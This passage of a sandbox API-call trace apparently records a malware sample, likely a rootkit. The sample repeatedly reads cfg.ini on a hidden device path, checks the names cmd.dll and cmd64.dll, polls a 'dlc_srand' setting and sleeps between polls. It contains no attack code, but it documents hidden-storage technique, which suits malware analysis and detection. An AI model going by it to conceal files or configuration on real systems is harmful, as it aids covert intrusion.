KeLeaveCriticalRegion () [0125.312] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.312] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.312] KeEnterCriticalRegion () [0125.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.312] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c0f000 [0125.312] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.312] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.312] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.312] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.312] IdePortDispatch () returned 0x103 [0125.313] KeWaitForMutexObject () returned 0x0 [0125.313] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.313] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.313] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.313] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.313] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.313] IdePortDispatch () returned 0x103 [0125.313] KeWaitForMutexObject () returned 0x0 [0125.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.313] KeLeaveCriticalRegion () [0125.313] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.313] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.313] KeEnterCriticalRegion () [0125.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.314] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.314] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.314] KeLeaveCriticalRegion () [0125.314] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.314] KeEnterCriticalRegion () [0125.314] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.314] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.314] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf7070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.314] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.314] KeLeaveCriticalRegion () [0125.314] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.314] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.314] KeEnterCriticalRegion () [0125.314] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.314] ExFreePoolWithTag (P=0xfffffa8003bf5af0, Tag=0x0) [0125.314] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.314] KeLeaveCriticalRegion () [0125.314] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.314] ReleaseMutex (hMutex=0xf0) returned 1 [0125.314] Sleep (dwMilliseconds=0x124f80) [0125.333] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.333] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.333] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.333] KeEnterCriticalRegion () [0125.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.333] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.333] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.333] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.333] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.333] IdePortDispatch () returned 0x103 [0125.333] KeWaitForMutexObject () returned 0x0 [0125.333] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.333] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.334] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.334] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.334] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.334] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6550 [0125.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.334] KeLeaveCriticalRegion () [0125.334] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.334] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.334] KeEnterCriticalRegion () [0125.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.334] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.334] KeLeaveCriticalRegion () [0125.334] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.334] KeEnterCriticalRegion () [0125.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.334] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.334] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.334] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.334] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.334] IdePortDispatch () returned 0x103 [0125.334] KeWaitForMutexObject () returned 0x0 [0125.334] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.334] KeLeaveCriticalRegion () [0125.334] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.334] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.334] KeEnterCriticalRegion () [0125.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.334] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c14000 [0125.334] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.334] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.334] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.334] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.334] IdePortDispatch () returned 0x103 [0125.335] KeWaitForMutexObject () returned 0x0 [0125.335] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.335] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.335] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.335] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.335] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.335] IdePortDispatch () returned 0x103 [0125.335] KeWaitForMutexObject () returned 0x0 [0125.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.335] KeLeaveCriticalRegion () [0125.335] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.335] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.335] KeEnterCriticalRegion () [0125.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.335] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.335] KeLeaveCriticalRegion () [0125.336] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.336] KeEnterCriticalRegion () [0125.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.336] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.336] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.336] KeLeaveCriticalRegion () [0125.336] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.336] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.336] KeEnterCriticalRegion () [0125.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.336] ExFreePoolWithTag (P=0xfffffa8003bf6550, Tag=0x0) [0125.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.336] KeLeaveCriticalRegion () [0125.336] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.336] ReleaseMutex (hMutex=0xf0) returned 1 [0125.336] Sleep (dwMilliseconds=0x124f80) [0125.350] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.353] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.353] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.353] KeEnterCriticalRegion () [0125.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.353] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.353] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.353] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.353] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.353] IdePortDispatch () returned 0x103 [0125.353] KeWaitForMutexObject () returned 0x0 [0125.353] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.353] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.353] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.353] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.353] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.353] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7bb0 [0125.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.353] KeLeaveCriticalRegion () [0125.353] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.353] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.353] KeEnterCriticalRegion () [0125.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.353] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.353] KeLeaveCriticalRegion () [0125.353] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.353] KeEnterCriticalRegion () [0125.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.353] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.353] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.353] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.353] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.353] IdePortDispatch () returned 0x103 [0125.354] KeWaitForMutexObject () returned 0x0 [0125.354] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.354] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.354] KeLeaveCriticalRegion () [0125.354] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.354] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.354] KeEnterCriticalRegion () [0125.354] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.354] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c39000 [0125.354] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.354] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.354] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.354] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.354] IdePortDispatch () returned 0x103 [0125.354] KeWaitForMutexObject () returned 0x0 [0125.354] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.354] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.354] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.354] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.354] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.354] IdePortDispatch () returned 0x103 [0125.354] KeWaitForMutexObject () returned 0x0 [0125.354] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.354] KeLeaveCriticalRegion () [0125.354] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.355] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.355] KeEnterCriticalRegion () [0125.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.355] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.355] KeLeaveCriticalRegion () [0125.355] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.355] KeEnterCriticalRegion () [0125.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.355] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.355] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf7c70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.355] KeLeaveCriticalRegion () [0125.355] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.355] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.355] KeEnterCriticalRegion () [0125.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.355] ExFreePoolWithTag (P=0xfffffa8003bf7bb0, Tag=0x0) [0125.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.355] KeLeaveCriticalRegion () [0125.355] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.355] ReleaseMutex (hMutex=0xf0) returned 1 [0125.355] Sleep (dwMilliseconds=0x124f80) [0125.369] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.369] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.369] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.369] KeEnterCriticalRegion () [0125.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.369] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.369] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.369] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.369] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.369] IdePortDispatch () returned 0x103 [0125.369] KeWaitForMutexObject () returned 0x0 [0125.369] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.369] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.369] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.369] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.369] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.369] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6550 [0125.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.369] KeLeaveCriticalRegion () [0125.370] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.370] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.370] KeEnterCriticalRegion () [0125.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.370] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.370] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.370] KeLeaveCriticalRegion () [0125.370] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.370] KeEnterCriticalRegion () [0125.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.370] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.370] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.370] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.370] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.370] IdePortDispatch () returned 0x103 [0125.370] KeWaitForMutexObject () returned 0x0 [0125.370] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.370] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.370] KeLeaveCriticalRegion () [0125.370] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.370] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.370] KeEnterCriticalRegion () [0125.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.370] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c3e000 [0125.370] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.370] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.370] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.370] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.370] IdePortDispatch () returned 0x103 [0125.371] KeWaitForMutexObject () returned 0x0 [0125.371] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.371] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.371] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.371] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.371] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.371] IdePortDispatch () returned 0x103 [0125.371] KeWaitForMutexObject () returned 0x0 [0125.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.371] KeLeaveCriticalRegion () [0125.371] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.371] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.371] KeEnterCriticalRegion () [0125.371] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.371] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.371] KeLeaveCriticalRegion () [0125.371] _snprintf (in: _Dest=0xfffff880028da750, 